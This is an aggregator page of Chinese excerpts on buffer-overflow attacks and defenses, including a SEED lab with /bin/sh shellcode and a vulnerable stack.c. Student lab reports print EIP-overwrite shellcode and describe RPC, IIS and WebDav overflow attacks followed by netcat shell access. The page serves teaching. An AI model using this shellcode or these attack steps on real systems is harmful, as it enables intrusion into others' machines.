搜档网
当前位置:搜档网 › 缓冲区溢出漏洞分析及防范

缓冲区溢出漏洞分析及防范

缓冲区溢出漏洞分析及防范
缓冲区溢出漏洞分析及防范

龙源期刊网 https://www.sodocs.net/doc/d016852385.html,

缓冲区溢出漏洞分析及防范

作者:罗斌

来源:《电脑知识与技术》2018年第33期

摘要:缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。本文分析了缓冲区溢出的基本原理及缓冲区漏洞利用的技术条件、利用途径,最后提出了Linux和Windows下缓冲区漏洞利用的防范策略。

关键词:缓冲区溢出;漏洞利用;漏洞防范

中图分类号:TP311 文献标识码:A 文章编号:1009-3044(2018)33-0044-02

1 缓冲区溢出概述

缓冲区是一个较宽泛的概念,用于存放数据的内存空间都可以叫作缓冲区。缓冲区自身没有数据越界的防范机制,当放入缓冲区的数据超出了缓冲区的范围就叫缓冲区溢出。某些可被利用的缓冲区溢出是安全缺陷,严重威胁着计算机安全。

每个进程在内存中都有一段相对独立的存储空间,并且这段存储空间被分为了许多小分区,我们所关注的进程内存分区主要有六个:text、data、bss、堆、栈和Env段。其中,需要重点关注用于存储用户输入和变量的缓冲区——栈和堆。栈主要被用来保存局部变量和函数调用的轨迹,在大多数操作系统中,栈的增长方向刚好与内存地址的增长方向相反——栈从内存的高地址空间向低地址空间增长,正是由于这种增长方式,导致了栈缓冲区溢出的存在。堆则被用来存储动态分配的变量,它的增长方向是从内存的地址空间向高地址空间增长。

2 栈缓冲区溢出漏洞

2.1 原理

在讨论栈缓冲区溢出之前先厘清两个不同的概念[1]:栈缓冲区溢出和栈溢出,前者是文

章要讨论的漏洞,是一种安全缺陷,后者则是由于内存资源不足引起,通常会导致程序崩溃,是一种编程错误。

当发生函数调用时,计算机按如下步骤操作:参数入栈,指令寄存器eip入栈(RET),栈基址寄存器ebp入栈,将栈指针esp赋值给栈基址寄存器ebp,本地变量入栈。

栈缓冲区溢出的本质是某个栈帧(Stack Frame)发生溢出,溢出的内容覆盖了保存在栈内的eip,即返回地址被改变,当函数返回时,被破坏的eip值从stack里弹出到eip寄存器中执

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

缓冲区溢出攻击与防范

计算机病毒和入侵检测大作业 缓冲区溢出攻击与防范Buffer overflow attacking and prevention 学院(系):软件学院 专业:软件工程 学生姓名:刘毅超 学号:201192057 班级:软件1116 完成日期:2013年12月30日 大连理工大学 Dalian University of Technology

目录 1 引言 (3) 2 基本原理分析 (3) 3 制造缓冲区溢出 (4) 3.1 格式化字符串: (4) 3.2 堆栈缓冲区(Buffer)溢出攻击: (6) 3.3 HEAP/BSS溢出攻击: (8) 4 预防缓冲区溢出攻击 (10) 4.1 强制写正确的代码 (10) 4.2 使缓冲区不可执行 (10) 4.3 利用编译器的边界检查来实现缓冲区的保护 (10) 4.4 在程序指针失效前进行完整性检查 (11) 4.5 可不可以从根本上解决缓冲区溢出攻击 (11) 5 总结 (11) 6 参考资料 (12)

1 引言 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上。在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,而缓冲区溢出中,最为危险的是堆栈溢出。(操作系统所使用的缓冲区又被称为"堆栈".。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。)本文详细分析了缓冲区溢出的原理,描述了利用缓冲区溢出漏洞进行系统攻击的一般过程,最后简单讨论了几种缓冲区溢出的保护方法。 2 基本原理分析 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。 现在存在的主要的缓冲区溢出攻击有格式化串缓冲区溢出攻击,堆栈缓冲区(Buffer)溢出攻击和HEAP/BSS的缓冲区溢出。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

缓冲区溢出攻击原理与防范

缓冲区溢出攻击的原理与防范 陈硕 2004-7-12 读者基础:熟悉C语言及其内存模型,了解x86汇编语言。 缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。本文以Linux on IA32(32-bit Intel Architecture,即常说的x86)为平台,介绍缓冲区溢出的原理与防范措施。 按照被攻击的缓冲区所处的位置,缓冲区溢出(buffer overflow)大致可分为两类:堆溢出1(heap overflow)和栈溢出2(stack overflow)。栈溢出较为简单,我先以一些实例介绍栈溢出,然后谈一谈堆溢出的一般原理。 栈溢出原理 我们知道,栈(stack)是一种基本的数据结构,具有后入先出(LIFO, Last-In-First-Out)的性质。在x86平台上,调用函数时实际参数(arguments)、返回地址(return address)、局部变量(local variables)都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针(stack pointer)寄存器ESP始终指向栈顶元素。以图表1中的简单程序为例,我们先将它编译为可执行文件,然后在gdb中反汇编并跟踪其运行: $ gcc stack.c –o stack -ggdb -mperferred-stack-boundary=2 在IA32上,gcc默认按8个字节对齐,为了突出主题,我们令它按4字节对齐,最末一个参数的用处在此。图表1在每条语句之后列出对应的汇编指令,注意这是AT&T格式汇编,mov %esp, %ebp 是将寄存器ESP的值赋给寄存器EBP(这与常用的Intel汇编格式正好相反)。 // stack.c #01 int add(int a, int b) #02 { // push %ebp // mov %esp,%ebp #03 int sum; // sub $0x4,%esp #04 sum = a + b; // mov 0xc(%ebp),%eax // add 0x8(%ebp),%eax // mov %eax,0xfffffffc(%ebp) #05 return sum; // mov 0xfffffffc(%ebp),%eax 1本文把静态存储区溢出也算作一种堆溢出。 2 Stack 通常翻译为“堆栈”,为避免与文中出现的“堆/heap”混淆,这里简称为“栈”。

怎样写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序
作者:佚名出处:IT 专家网论坛整理 2007-12-18 10:29
假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来 利用该漏洞,这样将能得到一个远程 shell。 一、理解有漏洞程序:
#include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; }

缓冲区溢出攻击与防范实验报告

实验六报告

如图2所示的Windows 2000系统(虚拟机环境下)的计算机。显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 图1 win10攻击机

图2 Windows 2000 靶机 2、扫描靶机 在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。 在win10攻击机上运行metasploit console,即可进入Metasploit环境。 现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果

利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。 namap扫描的结果里报告发现MS08-067:DISABLED。这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。 图4漏洞扫描结果 3利用MS08_067漏洞渗透入侵 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响

缓冲区溢出攻击详细讲解

缓冲区溢出攻击详细讲解 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。 一、代码 <=> 数据 顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的内容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。 缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区内的,因此所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

缓冲区溢出攻击的分析及防范策略概要

缓冲区溢出攻击的分析及防范策略 摘要随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问 题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性 问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。本文首先解释了缓 冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区 溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码 对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结 合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出 攻击的防范策略。关键字:缓冲区溢出攻击 AbstractWith the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking. Key Words: buffer overflow attacking 一缓冲区与出的概念及原理 1.1何谓缓冲区溢出缓冲区是用户为程序运行时在计算机中申请得的一段连 续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大 的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的 溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目 的。 1.2缓冲区溢出的原理从上面的缓冲区溢出概念可以看出,缓冲区 溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设 计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检 查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种 结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的 可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取

缓冲区溢出攻击的分析及防范策略

缓冲区溢出攻击的分析及防范策略 系别:计算机科学系 班级:网络工程 姓名:姚康平 学号:3111101157 指导教师:乐丁惕 时间:2014-11-29

目录 1、缓冲区溢出攻击简介………………………………. 2、缓冲区溢出攻击原理………………………………. 3、缓冲区溢出攻击问题………………………………. 4、缓冲区溢出攻击危害……………………………….. 5、缓冲区溢出攻击防范方法…………………………… 6、缓冲区溢出攻击相关对策………………………….. 7、参考文献……………………………………………...

一、缓冲区溢出攻击简介 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。 二、缓冲区溢出攻击原理 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序: void function(char *str) { char buffer[16]; strcpy(buffer,str); } 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。 在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在ugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。 缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。 三、缓冲区溢出攻击问题 缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:

漏洞发掘与缓冲区溢出检测技术

漏洞发掘与缓冲区溢出检测技术 赵鑫 北京邮电大学信息工程学院,北京(100876) E-mail:jarious@https://www.sodocs.net/doc/d016852385.html, 摘要:本文通过分析缓冲区溢出发生的原理和一般利用过程,并结合漏洞发掘技术,提出了缓冲区溢出的几种检测方法,即通过进行缓冲区边界检查和指针完整性检查,并辅以攻击数据行为检测和编写正确的代码,来达到检测缓冲区溢出的目的。这几种方法可以有效地检测缓冲区溢出问题,从而避免缓冲区溢出带来的危害。 关键词:缓冲区溢出,漏洞发掘,安全 中图分类号:TP393 1.引言 一般来说,漏洞(Vulnerability)是指系统或应用程序存在的某种未曾预料到的未授权、不安全状态,它的出现往往是由于某些编程、配置或操作上的缺陷(Flaw)以及一些特定的条件引起的,攻击者往往需要构造条件,利用这些缺陷,使系统或应用程序由正常状态进入该状态,从而破坏正常的安全机制。 缓冲区溢出漏洞利用技术主要是从溢出点与Shellcode技术两部分来进行研究。那么,缓冲区溢出漏洞检测技术就可以分别针对这两个方面展开。针对溢出点主要采取的是缓冲区边界检查及指针完整性检查,而攻击数据特征检测则主要针对Shellcode。 2.缓冲区溢出漏洞原理 缓冲区是程序运行的时候机器内存中的一个连续块,它可以在栈(stack)、堆(heap)或未初始化数据段(bss)中。正常情况下,系统将数据存放在其分配好的一定大小的一段缓冲区内,若存在某些编程错误,使得攻击者可以通过控制该缓冲区或其它缓冲区内的数据,来控制程序流程,从而达到攻击目标,称该漏洞为缓冲区溢出漏洞,称这样的攻击为缓冲区溢出攻击。就目前的发展情况来看,缓冲区溢出攻击一般分为基于栈(stack-based)的缓冲区溢出攻击与基于堆(heap/bss-based)的缓冲区溢出攻击。 在进程的内存空间中,栈(stack)起到了保存有关当前函数调用上下文的容器的作用。许多内容都可能进入栈空间,其中包括:函数的非静态局部变量值、堆栈基址、当函数返回时程序应该跳转到的返回地址以及传递到函数中的参数等,其结构如图1所示。 图1 函数栈空间结构 当程序员编写程序时出现边界检验错误,不限制写入buffer中内容的长度时,就会出现由于写入内容过多,导致缓冲区溢出,堆栈结构被破坏。结果,可能引起程序运行失败,产

缓冲区溢出攻击与防范实验

实验十二缓冲区溢出攻击与防范实验 1.实验目的 通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。2.预备知识 2.1缓冲区溢出攻击简介 缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。下面简单介绍缓冲区溢出的基本原理和预防办法。 (1)缓冲区概念 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。 缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从

缓冲区溢出

第4章 缓冲区溢出 内容提要 缓冲区溢出是一种常见的软件漏洞形式,可被用于实现远程植入、本地提权、信息泄露、拒绝服务等攻击目的,具有极大的攻击力和破坏力。学习缓冲区溢出原理和利用有助于巩固自身安全,加强系统防御。本章包含六个实验,涵盖了缓冲区溢出原理和利用两部分内容,前者包括栈溢出、整型溢出、UAF(Use After Free)类型缓冲区溢出实验,后者通过覆盖返回地址、覆盖函数指针和覆盖SHE(Structured Exception Handler)链表实验学习溢出利用技术。 本章重点 y缓冲区溢出原理及实践; y常见缓冲区溢出利用方式及实践。

·52· 网络安全实验教程 4.1 概述 缓冲区一词在软件中指的是用于存储临时数据的区域,一般是一块连续的内存区域,如char Buffer[256]语句就定义了一个256 B的缓冲区。缓冲区的容量是预先设定的,但是如果往里存入的数据大小超过了预设的区域,就会形成所谓的缓冲区溢出。例如,memcpy(Buffer, p, 1024)语句,复制的源字节数为1024 B,已经超过了之前Buffer缓冲区定义的256 B。 由于缓冲区溢出的数据紧随源缓冲区存放,必然会覆盖到相邻的数据,从而产生非预期的后果。从现象上看,溢出可能会导致: (1)应用程序异常; (2)系统服务频繁出错; (3)系统不稳定甚至崩溃。 从后果上看,溢出可能会造成: (1)以匿名身份直接获得系统最高权限; (2)从普通用户提升为管理员用户; (3)远程植入代码执行任意指令; (4)实施远程拒绝服务攻击。 产生缓冲区溢出的原因有很多,如程序员的疏忽大意,C语言等编译器不做越界检查等。学习缓冲区溢出的重点在于掌握溢出原理和溢出利用两方面的内容。 4.2 缓冲区溢出原理及利用 下面介绍缓冲区溢出原理和缓冲区溢出利用两部分内容。 4.2.1 缓冲区溢出原理 栈溢出、整型溢出和UAF(Use After Free)类型缓冲区溢出是缓冲区溢出常见的三种溢出类型,下面分别介绍它们的原理。 1.栈溢出原理 “栈”是一块连续的内存空间,用来保存程序和函数执行过程中的临时数据,这些数据包括局部变量、类、传入/传出参数、返回地址等。栈的操作遵循后入先出(Last In First Out,LIFO)的原则,包括出栈(POP指令)和入栈(PUSH指令)两种。栈的增长方向为从高地址向低地址增长,即新入栈数据存放在比栈内原有数据更低的内存地址,因此其增长方向与内存的增长方向正好相反。 有三个CPU寄存器与栈有关: (1)SP(Stack Pointer,x86指令中为ESP,x64指令中为RSP),即栈顶指针,它随着数据入栈出栈而变化;

缓冲区溢出漏洞

